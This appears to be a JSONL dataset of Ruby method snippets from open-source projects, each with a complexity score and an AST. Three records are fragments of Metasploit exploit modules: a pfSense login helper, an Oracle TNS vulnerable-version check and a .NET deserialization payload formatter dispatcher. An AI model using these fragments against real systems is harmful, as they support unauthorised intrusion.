{"repo_name":"puma","file_path":"./repos/puma/test/test_pumactl.rb","start_line":117,"raw_source":"def test_environment_specific_config_file_exist\n    port = UniquePort.call\n    puma_config_file = \"config/puma.rb\"\n    production_config_file = \"config/puma/production.rb\"\n\n    env = { \"RACK_ENV\" => nil }\n\n    with_config_file(puma_config_file, port) do\n      control_cli = Puma::ControlCLI.new [\"-e\", \"production\", \"halt\"], env: env\n      assert_equal puma_config_file, control_cli.instance_variable_get(:@config_file)\n    end\n\n    with_config_file(production_config_file, port) do\n      control_cli = Puma::ControlCLI.new [\"-e\", \"production\", \"halt\"], env: env\n      assert_equal production_config_file, control_cli.instance_variable_get(:@config_file)\n    end\n  end","complexity_score":19.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_environment_specific_config_file_exist\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"port\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UniquePort\"]},\"call\"]}]},{\"type\":\"lvasgn\",\"children\":[\"puma_config_file\",{\"type\":\"str\",\"children\":[\"config/puma.rb\"]}]},{\"type\":\"lvasgn\",\"children\":[\"production_config_file\",{\"type\":\"str\",\"children\":[\"config/puma/production.rb\"]}]},{\"type\":\"lvasgn\",\"children\":[\"env\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RACK_ENV\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_config_file\",{\"type\":\"lvar\",\"children\":[\"puma_config_file\"]},{\"type\":\"lvar\",\"children\":[\"port\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"control_cli\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Puma\"]},\"ControlCLI\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"-e\"]},{\"type\":\"str\",\"children\":[\"production\"]},{\"type\":\"str\",\"children\":[\"halt\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env\"]},{\"type\":\"lvar\",\"children\":[\"env\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"puma_config_file\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"control_cli\"]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@config_file\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_config_file\",{\"type\":\"lvar\",\"children\":[\"production_config_file\"]},{\"type\":\"lvar\",\"children\":[\"port\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"control_cli\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Puma\"]},\"ControlCLI\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"-e\"]},{\"type\":\"str\",\"children\":[\"production\"]},{\"type\":\"str\",\"children\":[\"halt\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env\"]},{\"type\":\"lvar\",\"children\":[\"env\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"production_config_file\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"control_cli\"]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@config_file\"]}]}]}]}]}]}]}","id":"468ceee4-d62f-4de4-beb6-6715c6b5c355"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/git/base_hooks_service.rb","start_line":150,"raw_source":"def event_push_data\n      # We only need the newest commit for the event push, and we don't\n      # need the full deltas either.\n      @event_push_data ||= Gitlab::DataBuilder::Push.build(\n        **push_data_params(commits: limited_commits.last, with_changed_files: false)\n      )\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"event_push_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@event_push_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"DataBuilder\"]},\"Push\"]},\"build\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"push_data_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"commits\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"limited_commits\"]},\"last\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with_changed_files\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}]}]}","id":"ccd02009-3e9a-42f6-83ed-176b973527c3"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/utilities/path_helper.rb","start_line":618,"raw_source":"def self.work_package_available_relation_candidates(id, type: nil)\n            query = \"?type=#{type}\" if type\n            \"#{work_package(id)}/available_relation_candidates#{query}\"\n          end","complexity_score":3.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"work_package_available_relation_candidates\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]},{\"type\":\"kwoptarg\",\"children\":[\"type\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"?type=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]}]}]}]},null]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_package\",{\"type\":\"lvar\",\"children\":[\"id\"]}]}]},{\"type\":\"str\",\"children\":[\"/available_relation_candidates\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]}]}]}]}]}","id":"c91d417e-9ee8-49df-a141-26cc785193fb"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/open_graph.rb","start_line":72,"raw_source":"def grouped_meta\n    return {} if meta.blank?\n\n    group(meta)\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"grouped_meta\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"meta\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"group\",{\"type\":\"send\",\"children\":[null,\"meta\"]}]}]}]}","id":"8a57696a-d21c-46f5-92c3-b3d8bb8305e8"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/settings/two_factor_authentication/otp_authentication_controller.rb","start_line":25,"raw_source":"def verify_otp_not_enabled\n        redirect_to settings_two_factor_authentication_methods_path if current_user.otp_enabled?\n      end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"verify_otp_not_enabled\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"otp_enabled?\"]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"settings_two_factor_authentication_methods_path\"]}]},null]}]}","id":"c62a76cc-56a2-425d-98d9-ae969a4a2f48"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/http/pfsense_graph_injection_exec.rb","start_line":71,"raw_source":"def login\n    res = send_request_cgi(\n      'uri' => '/index.php',\n      'method' => 'GET'\n    )\n    fail_with(Failure::UnexpectedReply, \"#{peer} - Could not connect to web service - no response\") if res.nil?\n    fail_with(Failure::UnexpectedReply, \"#{peer} - Invalid credentials (response code: #{res.code})\") if res.code != 200\n\n    /var csrfMagicToken = \"(?<csrf>sid:[a-z0-9,;:]+)\";/ =~ res.body\n    fail_with(Failure::UnexpectedReply, \"#{peer} - Could not determine CSRF token\") if csrf.nil?\n    vprint_status(\"CSRF Token for login: #{csrf}\")\n\n    res = send_request_cgi(\n      'uri' => '/index.php',\n      'method' => 'POST',\n      'vars_post' => {\n        '__csrf_magic' => csrf,\n        'usernamefld' => datastore['USERNAME'],\n        'passwordfld' => datastore['PASSWORD'],\n        'login' => ''\n      }\n    )\n    unless res\n      fail_with(Failure::UnexpectedReply, \"#{peer} - Did not respond to authentication request\")\n    end\n    if res.code == 302\n      vprint_status(\"Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}\")\n      return res.get_cookies\n    else\n      fail_with(Failure::UnexpectedReply, \"#{peer} - Authentication Failed: #{datastore['USERNAME']}:#{datastore['PASSWORD']}\")\n      return nil\n    end\n  end","complexity_score":54.7,"ast_json":"{\"type\":\"def\",\"children\":[\"login\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/index.php\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Could not connect to web service - no response\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"!=\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Invalid credentials (response code: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},null]},{\"type\":\"match_with_lvasgn\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"var csrfMagicToken = \\\"(?<csrf>sid:[a-z0-9,;:]+)\\\";\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"csrf\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Could not determine CSRF token\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CSRF Token for login: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"csrf\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/index.php\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"__csrf_magic\"]},{\"type\":\"lvar\",\"children\":[\"csrf\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"usernamefld\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"passwordfld\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"login\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Did not respond to authentication request\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[302]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Authentication successful: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_cookies\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Authentication Failed: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}","id":"0333414c-febc-4918-9bf0-c1df111cb076"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/task_helpers/imports/tags.rb","start_line":7,"raw_source":"def initialize(message = nil, details = nil)\n          super(message)\n          self.details = details\n        end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"message\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"details\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"details=\",{\"type\":\"lvar\",\"children\":[\"details\"]}]}]}]}","id":"e1b8ba79-4953-43a8-b87b-b3a44e713e73"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/util/dot_net_deserialization.rb","start_line":66,"raw_source":"def self.generate_formatted(stream, formatter: DEFAULT_FORMATTER)\n    case formatter\n    when :BinaryFormatter\n      formatted = Formatters::BinaryFormatter.generate(stream)\n    when :JsonNetFormatter\n      formatted = Formatters::JsonNetFormatter.generate(stream)\n    when :LosFormatter\n      formatted = Formatters::LosFormatter.generate(stream)\n    when :SoapFormatter\n      formatted = Formatters::SoapFormatter.generate(stream)\n    else\n      raise NotImplementedError, 'The specified formatter is not implemented'\n    end\n\n    formatted\n  end","complexity_score":16.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"generate_formatted\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stream\"]},{\"type\":\"kwoptarg\",\"children\":[\"formatter\",{\"type\":\"const\",\"children\":[null,\"DEFAULT_FORMATTER\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"formatter\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"BinaryFormatter\"]},{\"type\":\"lvasgn\",\"children\":[\"formatted\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Formatters\"]},\"BinaryFormatter\"]},\"generate\",{\"type\":\"lvar\",\"children\":[\"stream\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"JsonNetFormatter\"]},{\"type\":\"lvasgn\",\"children\":[\"formatted\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Formatters\"]},\"JsonNetFormatter\"]},\"generate\",{\"type\":\"lvar\",\"children\":[\"stream\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"LosFormatter\"]},{\"type\":\"lvasgn\",\"children\":[\"formatted\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Formatters\"]},\"LosFormatter\"]},\"generate\",{\"type\":\"lvar\",\"children\":[\"stream\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"SoapFormatter\"]},{\"type\":\"lvasgn\",\"children\":[\"formatted\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Formatters\"]},\"SoapFormatter\"]},\"generate\",{\"type\":\"lvar\",\"children\":[\"stream\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NotImplementedError\"]},{\"type\":\"str\",\"children\":[\"The specified formatter is not implemented\"]}]}]},{\"type\":\"lvar\",\"children\":[\"formatted\"]}]}]}","id":"dc7ef4a8-e9cc-4ae5-b66c-c5cb729d7205"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/runners/create_runner_service.rb","start_line":14,"raw_source":"def initialize(user:, params:)\n        @user = user\n        @scope = params[:scope]\n        @params = params\n        @strategy = RUNNER_CLASS_MAPPING[params[:runner_type]].new(user: user, params: params)\n      end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"user\"]},{\"type\":\"kwarg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@scope\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"scope\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@strategy\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RUNNER_CLASS_MAPPING\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"runner_type\"]}]}]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}]}]}]}","id":"a4bcde63-96b4-43d1-9ea9-2ef0b2c20960"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/oracle/tns_arguments.rb","start_line":56,"raw_source":"def check\n    connect\n    version = \"(CONNECT_DATA=(COMMAND=VERSION))\"\n    pkt = tns_packet(version)\n    sock.put(pkt)\n    sock.get_once\n    res = sock.get_once(-1, 1)\n    disconnect\n\n    if (res and res =~ /32-bit Windows: Version 8\\.1\\.7\\.0\\.0/)\n      return Exploit::CheckCode::Appears\n    end\n\n    return Exploit::CheckCode::Safe\n  end","complexity_score":14.9,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"str\",\"children\":[\"(CONNECT_DATA=(COMMAND=VERSION))\"]}]},{\"type\":\"lvasgn\",\"children\":[\"pkt\",{\"type\":\"send\",\"children\":[null,\"tns_packet\",{\"type\":\"lvar\",\"children\":[\"version\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"pkt\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\"]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"32-bit Windows: Version 8\\\\.1\\\\.7\\\\.0\\\\.0\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}","id":"03a2072d-8340-4def-84c9-9314b742b15a"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/rails52.rb","start_line":80,"raw_source":"def test_sql_injection_safe_literal_to_s_singularize\n    assert_no_warning :type => :warning,\n      :warning_code => 0,\n      :fingerprint => \"4de07c156fa4b7694024871f100409e41fbcac4f65813a34ba749e1751b95204\",\n      :warning_type => \"SQL Injection\",\n      :line => 16,\n      :message => /^Possible\\ SQL\\ injection/,\n      :confidence => 2,\n      :relative_path => \"app/models/user.rb\",\n      :code => s(:call, s(:call, nil, :articles), :sum, s(:dstr, \"calculated_\", s(:evstr, s(:call, s(:call, s(:lit, :BRAKEMAN_SAFE_LITERAL), :to_s), :singularize)), s(:str, \"_cents * quantity\"))),\n      :user_input => s(:call, s(:call, s(:lit, :BRAKEMAN_SAFE_LITERAL), :to_s), :singularize)\n  end","complexity_score":19.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_sql_injection_safe_literal_to_s_singularize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_no_warning\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"warning\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"str\",\"children\":[\"4de07c156fa4b7694024871f100409e41fbcac4f65813a34ba749e1751b95204\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"SQL Injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"int\",\"children\":[16]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Possible\\\\ SQL\\\\ injection\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_path\"]},{\"type\":\"str\",\"children\":[\"app/models/user.rb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"articles\"]}]},{\"type\":\"sym\",\"children\":[\"sum\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"dstr\"]},{\"type\":\"str\",\"children\":[\"calculated_\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"evstr\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"BRAKEMAN_SAFE_LITERAL\"]}]},{\"type\":\"sym\",\"children\":[\"to_s\"]}]},{\"type\":\"sym\",\"children\":[\"singularize\"]}]}]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"str\"]},{\"type\":\"str\",\"children\":[\"_cents * quantity\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"BRAKEMAN_SAFE_LITERAL\"]}]},{\"type\":\"sym\",\"children\":[\"to_s\"]}]},{\"type\":\"sym\",\"children\":[\"singularize\"]}]}]}]}]}]}","id":"a8ca2f4d-b1b1-4268-9fb7-33bdd22a2fcf"}
